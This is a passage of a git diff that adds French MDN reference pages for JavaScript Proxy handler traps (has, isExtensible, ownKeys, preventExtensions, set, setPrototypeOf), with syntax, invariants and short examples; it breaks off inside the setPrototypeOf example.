+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html
new file mode 100644
index 0000000000..9b825973e9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html
@@ -0,0 +1,82 @@
+---
+title: Gestionnaire de Proxy (handler)
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet gestionnaire d'un proxy est un objet qui contient les trappes de captures (<em>traps</em>) pour le  {{jsxref("Proxy", "proxy", "", 1)}}.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Toutes ces trappes sont optionnelles. Si une trappe n'a pas été définie, le comportement par défaut sera de transmettre l'opération à la cible.</p>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>Une trappe pour l'accès aux valeurs des propriétés.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>Une trappe pour la définition des valeurs des propriétés.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>Une trappe pour {{jsxref("Object.getOwnPropertyNames")}} et {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>Une trappe pour l'appel d'une fonction.</dd>
+ <dt>{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.</dd>
+</dl>
+
+<p>Certaines trappes non standards sont désormais <a href="/fr/docs/JavaScript/Reference/Annexes/Fonctionnalités_dépréciées#Proxy">obsolètes et ont été supprimées</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>La trappe pour <code>enumerate</code> a été retirée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html
new file mode 100644
index 0000000000..df26cad63d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html
@@ -0,0 +1,123 @@
+---
+title: handler.isExtensible()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/isExtensible
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.isExtensible()</code></strong> est une trappe pour intercepter les opérations de {{jsxref("Object.isExtensible()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  isExtensible: function(cible) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>isExtensible</code>. <code>this</code> est ici lié au gestionnaire (<em>handler</em>).</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>isExtensible</code> doit renvoyer une valeur booléenne.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.isExtensible()</strong></code> est une trappe pour intercepter {{jsxref("Object.isExtensible()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe intercepte les opérations suivantes :</p>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception  {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li><code>Object.isExtensible(proxy)</code> doit renvoyer la même valeur que <code>Object.isExtensible(cible)</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on intercepte {{jsxref("Object.isExtensible()")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  isExtensible: function(cible) {
+    console.log("appelée");
+    return true;
+  }
+});
+
+console.log(Object.isExtensible(p)); // "appelée"
+                                     // true
+</pre>
+
+<p>Le code suivante ne respecte pas l'invariant et entraîne donc une exception.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  isExtensible: function(cible) {
+    return false;
+  }
+});
+
+Object.isExtensible(p); // TypeError est levée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html
new file mode 100644
index 0000000000..b60a836ded
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html
@@ -0,0 +1,136 @@
+---
+title: handler.ownKeys()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/ownKeys
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.ownKeys()</code></strong> est une trappe pour {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  ownKeys: function(cible) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Le paramètre suivant est passé à la méthode <code>ownKeys</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>ownKeys</code> doit renvoyer un objet énumérable.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.ownKeys()</strong></code> est une trappe pour intercepter les opérations de {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Reflect.ownKeys()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Le résultat de <code>ownKeys</code> doit être un tableau.</li>
+ <li>Le type de chaque élément de ce tableau est soit une {{jsxref("String")}}, soit un {{jsxref("Symbol")}}.</li>
+ <li>Le tableau résultant doit contenir les clés de toutes les propriétés propres non-configurables de l'objet cible.</li>
+ <li>Si l'objet cible n'est pas extensible, la liste obtenue doit contenir toutes les clés pour les propriétés propres et aucune autre valeur.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on intercepte l'action de {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  ownKeys: function(target) {
+    console.log("appelée");
+    return ["a", "b", "c"];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p)); // "appelée"
+                                            // [ "a", "b", "c"]
+</pre>
+
+<p>L'exemple suivant ne respecte pas l'ensemble des invariants :</p>
+
+<pre class="brush: js  example-bad">var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: true,
+  value: 10 }
+);
+
+var p = new Proxy(obj, {
+  ownKeys: function(cible) {
+    return [123, 12.5, true, false, undefined, null, {}, []];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p));
+// TypeError est levée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.ownKeys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Reflect.ownKeys()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html
new file mode 100644
index 0000000000..e62fa36d4e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html
@@ -0,0 +1,124 @@
+---
+title: handler.preventExtensions()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/preventExtensions
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.preventExtensions()</code></strong> est une trappe pour {{jsxref("Object.preventExtensions()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  preventExtensions: function(cible) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Le paramètre suivant est passé à la méthode <code>preventExtensions</code>. <code>this</code> est lié au gestionnaire (<em>handler</em>).</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>preventExtensions</code> doit renvoyer une valeur booléenne.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.preventExtensions()</strong></code> est une trappe pour intercepter {{jsxref("Object.preventExtensions()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe peut intercepter les opérations de :</p>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une execption {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li><code>Object.preventExtensions(proxy)</code> ne renvoie <code>true</code> que si <code>Object.isExtensible(proxy)</code> vaut <code>false</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>On intercepte l'appel à {{jsxref("Object.preventExtensions()")}} dans l'exemple suivant :</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  preventExtensions: function(cible) {
+    console.log("appelé");
+    Object.preventExtensions(cible);
+    return true;
+  }
+});
+
+console.log(Object.preventExtensions(p)); // "appelé"
+                                          // true
+</pre>
+
+<p>Le code suivant ne respecte pas l'invariant :</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  preventExtensions: function(cible) {
+    return true;
+  }
+});
+
+Object.preventExtensions(p); // TypeError est levée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html
new file mode 100644
index 0000000000..11270be519
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html
@@ -0,0 +1,125 @@
+---
+title: handler.set()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>handler.set()</strong></code> est une trappe permettant d'intercepter les opérations visant à définir ou modifier la valeur d'une propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  set: function(cible, propriété, valeur, récepteur) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>set</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>propriété</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à définir.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La nouvelle valeur à définir pour la propriété.</dd>
+ <dt><code>récepteur</code></dt>
+ <dd>L'objet intialement visé par l'affectation. Généralement ce sera le proxy lui-même. Le gestionnaire <code>set</code> peut également être appelé indirectement, via la chaîne de prototypes ou d'autres façons.</dd>
+ <dd>Par exemple, si on exécute l'instruction <code>obj.nom = "Jean"</code>, et qu'<code>obj</code> n'est pas un proxy ni ne possède de propriété <code>nom</code> mais s'il possède un proxy dans sa chaîne de prototypes, le gestionnaire <code>set</code> sera appelé et <code>obj</code> sera passé en tant que récepteur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>set</code> doit renvoyer une valeur booléenne. Elle renvoie <code>true</code> pour indiquer que l'affectation a réussi. Si la méthode <code>set</code> renvoie false et que l'affectation était exécutée dans du code en mode strict, une exception {{jsxref("TypeError")}} sera levée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.set</strong></code> est une trappe qui permet d'intercepter les opérations qui sont utilisées pour définir ou modifier la valeur d'une propriété.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>L'affectation à des propriétés : <code>proxy[toto] = truc</code> et <code>proxy.toto = truc</code></li>
+ <li>L'affectation de propriétés héritées : <code>Object.create(proxy)[toto] = truc</code></li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Il est impossible de modifier la valeur d'une propriété pour qu'elle soit différente de la valeur de la propriété correspondante de l'objet cible si celle-ci n'est pas accessible en lecture seule et est non-configurable (pour les propriétés de données).</li>
+ <li>Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur/mutateur dont l'attribut [[Set]] vaut <code>undefined</code>.</li>
+ <li>En mode strict, si le gestionnaire <code>set</code> renvoie une valeur fausse (dans un contexte booléen), cela lèvera une exception {{jsxref("TypeError")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on intercepte la définition d'une nouvelle propriété.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  set: function(target, prop, value, receiver) {
+    target[prop] = value;
+    console.log('property set: ' + prop + ' = ' + value);
+    return true;
+  }
+});
+
+console.log('a' in p);  // false
+
+p.a = 10;               // "property set: a = 10"
+console.log('a' in p);  // true
+console.log(p.a);       // 10
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Reflect.set()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html
new file mode 100644
index 0000000000..61c288637a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html
@@ -0,0 +1,136 @@
+---
+title: handler.setPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/setPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.setPrototypeOf()</code></strong> est une trappe pour intercepter {{jsxref("Object.setPrototypeOf()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-setprototypeof.html", "taller", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  setPrototypeOf: function(cible, prototype) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>setPrototypeOf</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>Le nouveau prototype de l'objet ou <code>null</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>setPrototypeOf</code> renvoie <code>true</code> si la propriété interne <code>[[Prototype]]</code> a bien été modifiée et <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.setPrototypeOf</strong></code> est une trappe utilisée pour intercepter les opérations de {{jsxref("Object.setPrototypeOf()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter :</p>
+
+<ul>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Si <code>cible</code> n'est pas extensible, le paramètre <code>prototype</code> doit être le même valeur que <code>Object.getPrototypeOf(cible)</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Si on souhaite interdire la définition d'un nouveau prototype pour un objet, on peut utiliser une méthode <code>setPrototypeOf</code> qui renvoie <code>false</code> ou qui génère une exception.</p>
+
+<p>Avec cette première approche, toute opération qui voudra modifier le prototype génèrera une exception. On aura par exemple {{jsxref("Object.setPrototypeOf()")}} qui créera et lèvera l'exception <code>TypeError</code>. Si la modification est effectuée par une opération qui ne génère pas d'exception en cas d'échec (comme  {{jsxref("Reflect.setPrototypeOf()")}}), aucune exception ne sera générée.</p>
+
+<pre class="brush: js">var handlerReturnsFalse = {
+    setPrototypeOf(target, newProto) {
+        return false;
+    }
+};
+
+var newProto = {}, target = {};
+
+var p1 = new Proxy(target, handlerReturnsFalse);
+Object.setPrototypeOf(p1, newProto);
+// lève une TypeError
+Reflect.setPrototypeOf(p1, newProto);
+// renvoie false
+</pre>
+
+<p>Avec cette seconde approche, toute tentative de modification génèrera une exception. On utilisera celle-ci lorsqu'on souhaite qu'une erreur se produisent, y compris pour les opérations qui ne génèrent habituellement pas d'exception ou si on souhaite générer une exception sur mesure.</p>
+
+<pre class="brush: js">var handlerThrows = {
+    setPrototypeOf(target, newProto) {
+        throw new Error("erreur custom");
+    }
+};
+
+var newProto = {}, target = {};
+
+var p2 = new Proxy(target, handlerThrows);
